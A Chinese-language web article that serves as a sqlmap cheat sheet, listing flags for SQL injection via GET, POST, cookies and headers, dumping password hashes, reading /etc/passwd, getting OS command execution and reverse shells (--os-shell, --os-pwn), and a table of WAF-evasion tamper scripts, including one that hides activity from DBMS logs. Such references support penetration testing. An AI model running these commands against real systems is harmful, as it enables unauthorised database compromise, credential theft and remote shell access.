网站首页 > 精选文章 正文
一、基本用法
#1、通用参数
-u "<URL>" 
-p "<要测试的参数>" 
--user-agent=SQLMAP //指定UA
--random-agent //随机UA
--threads=10 //指定线程数
--risk=3 #MAX //风险等级,默认是1,最大是3
--level=5 #MAX //测试级别,默认是1,最大是5
//--level和--risk在某些方面有重叠,但它们各自侧重不同,--level是广度上的拓展,--risk 是深度上的挖掘。
--dbms="<指定数据库类型,比如Mysql,MSSQL>" 
--os="<指定操作系统类型>"
--technique="UB" //仅按顺序使用 UNION 和 BLIND 技术(默认“BEUSTQ”)
//B:布尔型盲注(Boolean-based blind)
E:报错型注入(Error-based)
U:联合查询注入(UNION query-based)
S:堆叠查询注入(Stacked queries)
T:时间型盲注(Time-based blind)
Q:内联查询注入(inline Query)
--batch //非交互模式,通常 Sqlmap 会询问,此处设置默认应答
--auth-type="<AUTH>" //HTTP 验证类型(基本、摘要、NTLM 或 PKI)
--auth-cred="<AUTH>" //HTTP 身份验证凭证(名称:密码)
--proxy=http://127.0.0.1:8080 //指定代理
--union-char "123" //用于测试联合查询注入的字符,默认情况下,sqlmap 测试联合查询注入会使用 NULL 字符。你可以手动指定
#2、信息获取
--current-user //获取当前数据库用户
--is-dba //检查当前用户是否为数据库管理员账户
--hostname //获取主机名
--users //获取DBMS所有用户
--passwords //获取和破解 DBMS 用户的密码哈希
--privileges //获取 DBMS 所有用户权限
#二、注入点
1、利用 Burp/ZAP 抓包文件
捕获请求并创建 request.txt 文件
sqlmap -r req.txt --current-user
2、GET注入
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
3、POST注入
sqlmap -u "http://example.com" --data "username=*&password=*"
4、标头和其他 HTTP 方法注入
//cookie注入
sqlmap  -u "http://example.com" --cookie "mycookies=*"
//HTTP标头注入
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
//PUT请求注入
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
//注入测试点位于"*"号处
5、注入成功时进行提示
--string="string_showed_when_TRUE" 
6、Eval
Sqlmap 允许使用 -e 或 --eval 来处理每个有效载荷,在每个请求期间运行自定义的 Python 代码。在下面的示例中,flask 在发送 flask cookie 会话之前,会使用已知secret对其进行签名:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
7、与系统shell交互
//执行系统命令
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
//获取交互式系统shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
//带外shell,如Meterpreter 反向shell连接,当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外TCP连接。如Meterpreter 会话、或者图形用户界面(VNC)会话。
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
8、读取文件
--file-read=/etc/passwd
9、使用SQLmap自动抓取网站
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch //非交互式,默认应答
--crawl //抓取深度
--forms //解析和测试表单
10、二阶注入
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
#三、定制化注入测试
1、设置后缀
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
2、设置前缀
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
3、帮助寻找布尔注入
// --not-string“string”将有助于查找未出现在 True 响应中的字符串(用于查找布尔盲注)
sqlmap -r r.txt -p id --not-string ridiculous --batch
4、Tamper脚本
你可以用Python创建自己的Tamper脚本。
--tamper=name_of_the_tamper
//在kali中你可以在/usr/share/sqlmap/tamper中看到所有的脚本
//在windows中,可以在sqlmap\tamper文件夹中看到所有的脚本
常用Tamper脚本
Tamper  | 描述  | 
apostrophemask.py  | 将撇号字符替换为其 UTF-8 全角对应字符  | 
apostrophenullencode.py  | 将撇号字符替换为非法的双 unicode 对应字符  | 
appendnullbyte.py  | 在有效载荷末尾添加已编码的 NULL 字节字符  | 
base64encode.py  | 使用Base64编码载荷中的所有字符  | 
between.py  | 将大于运算符 ('>') 替换为 'NOT BETWEEN 0 AND #'  | 
bluecoat.py  | 将 SQL 语句后的空格字符替换为有效的随机空白字符。然后将字符 = 替换为 LIKE 运算符  | 
chardoubleencode.py  | 对给定有效载荷中的所有字符进行双重 url 编码(不处理已编码字符)  | 
commalesslimit.py  | 将“LIMIT M, N”等实例替换为“LIMIT N OFFSET M”  | 
commalessmid.py  | 将“MID(A, B, C)”等实例替换为“MID(A FROM B FOR C)”  | 
concat2concatws.py  | 将“CONCAT(A, B)”等实例替换为“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”  | 
charencode.py  | 对给定载荷中的所有字符进行 URL 编码(不处理已编码的字符)  | 
charunicodeencode.py  | 使用Unicode-url 对给定载荷中的非编码字符进行编码(不处理已编码的字符)。格式: “%u0022”  | 
charunicodeescape.py  | 使用Unicode-url 对给定载荷中的非编码字符进行编码(不处理已编码的字符)。格式:"\u0022"  | 
equaltolike.py  | 将所有出现的运算符等于 ('=') 替换为运算符 'LIKE'  | 
escapequotes.py  | 斜杠转义引号(' 和 ")  | 
greatest.py  | 将大于运算符 ('>') 替换为 'GREATEST' 对应项  | 
halfversionedmorekeywords.py  | 在每个关键字前添加版本化的 MySQL 注释  | 
ifnull2ifisnull.py  | 将“IFNULL(A, B)”等实例替换为“IF(ISNULL(A), B, A)”  | 
modsecurityversioned.py  | 包含带有版本化注释的完整查询  | 
modsecurityzeroversioned.py  | 包含带有零版本注释的完整查询  | 
multiplespaces.py  | 在 SQL 关键字周围添加多个空格  | 
nonrecursivereplacement.py  | 用适合替换的表示形式替换预定义的 SQL 关键字(例如 .replace("SELECT", ""))过滤器  | 
percentage.py  | 在每个字符前面添加百分号 ('%')  | 
overlongutf8.py  | 转换给定有效载荷中的所有字符(不处理已编码的字符)  | 
randomcase.py  | 用随机大小写值替换每个关键字字符  | 
randomcomments.py  | 为 SQL 关键字添加随机注释  | 
securesphere.py  | 附加特殊制作的字符串  | 
sp_password.py  | 将“sp_password”附加到有效载荷的末尾,以自动混淆 DBMS 日志  | 
space2comment.py  | 用注释替换空格字符 (' ')  | 
space2dash.py  | 将空格字符 (' ') 替换为破折号注释 ('--'),后跟随机字符串和换行符 ('\n')  | 
space2hash.py  | 将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('\n')  | 
space2morehash.py  | 将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('\n')  | 
space2mssqlblank.py  | 将空格字符 (' ') 替换为有效替代字符集中的随机空白字符  | 
space2mssqlhash.py  | 将空格字符 (' ') 替换为井号字符 ('#'),后跟换行符 ('\n')  | 
space2mysqlblank.py  | 将空格字符 (' ') 替换为有效替代字符集中的随机空白字符  | 
space2mysqldash.py  | 将空格字符 (' ') 替换为破折号注释 ('--'),后跟换行符 ('\n')  | 
space2plus.py  | 将空格字符 (' ') 替换为加号 ('+')  | 
space2randomblank.py  | 将空格字符 (' ') 替换为有效替代字符集中的随机空白字符  | 
symboliclogical.py  | 将 AND 和 OR 逻辑运算符替换为其对应的符号运算符(&& 和 ||)  | 
unionalltounion.py  | 将 UNION ALL SELECT 替换为 UNION SELECT  | 
unmagicquotes.py  | 用多字节组合 %bf%27 代替引号字符 (') 并在末尾加上通用注释(使其生效)  | 
uppercase.py  | 将每个关键字字符替换为大写值“INSERT”  | 
varnish.py  | 附加 HTTP 标头“X-originating-IP”  | 
versionedkeywords.py  | 用版本化的 MySQL 注释括住每个非函数关键字  | 
versionedmorekeywords.py  | 用版本化的 MySQL 注释括住每个关键字  | 
xforwardedfor.py  | 附加假 HTTP 标头“X-Forwarded-For”  | 
猜你喜欢
- 2024-12-26 艾泽拉斯地图旅行指南!魔兽世界所有旅行和传送方式!
 - 2024-12-26 SQL注入详解和SQL注入之超详细sqlmap使用攻略
 - 2024-12-26 PHP 8.4 发布,包含属性钩子、无需额外括号的类实例化等
 - 2024-12-26 如何保证API接口安全?
 - 2024-12-26 SQLMAP注入参数-其他参数介绍
 - 2024-12-26 PHP 中最常用的 100 个函数
 - 2024-12-26 转-深度剖析 Swoole6 PHP 多线程实现原理
 - 2024-12-26 PHP与GO的区别
 - 2024-12-26 PHP8 - 纤程的使用
 - 2024-12-26 铜梁旅游电子全景地图上线啦 近百个景点一点即知
 
- 最近发表
 
- 标签列表
 - 
- 向日葵无法连接服务器 (32)
 - git.exe (33)
 - vscode更新 (34)
 - dev c (33)
 - git ignore命令 (32)
 - gitlab提交代码步骤 (37)
 - java update (36)
 - vue debug (34)
 - vue blur (32)
 - vscode导入vue项目 (33)
 - vue chart (32)
 - vue cms (32)
 - 大雅数据库 (34)
 - 技术迭代 (37)
 - 同一局域网 (33)
 - github拒绝连接 (33)
 - vscode php插件 (32)
 - vue注释快捷键 (32)
 - linux ssr (33)
 - 微端服务器 (35)
 - 导航猫 (32)
 - 获取当前时间年月日 (33)
 - stp软件 (33)
 - http下载文件 (33)
 - linux bt下载 (33)
 
 
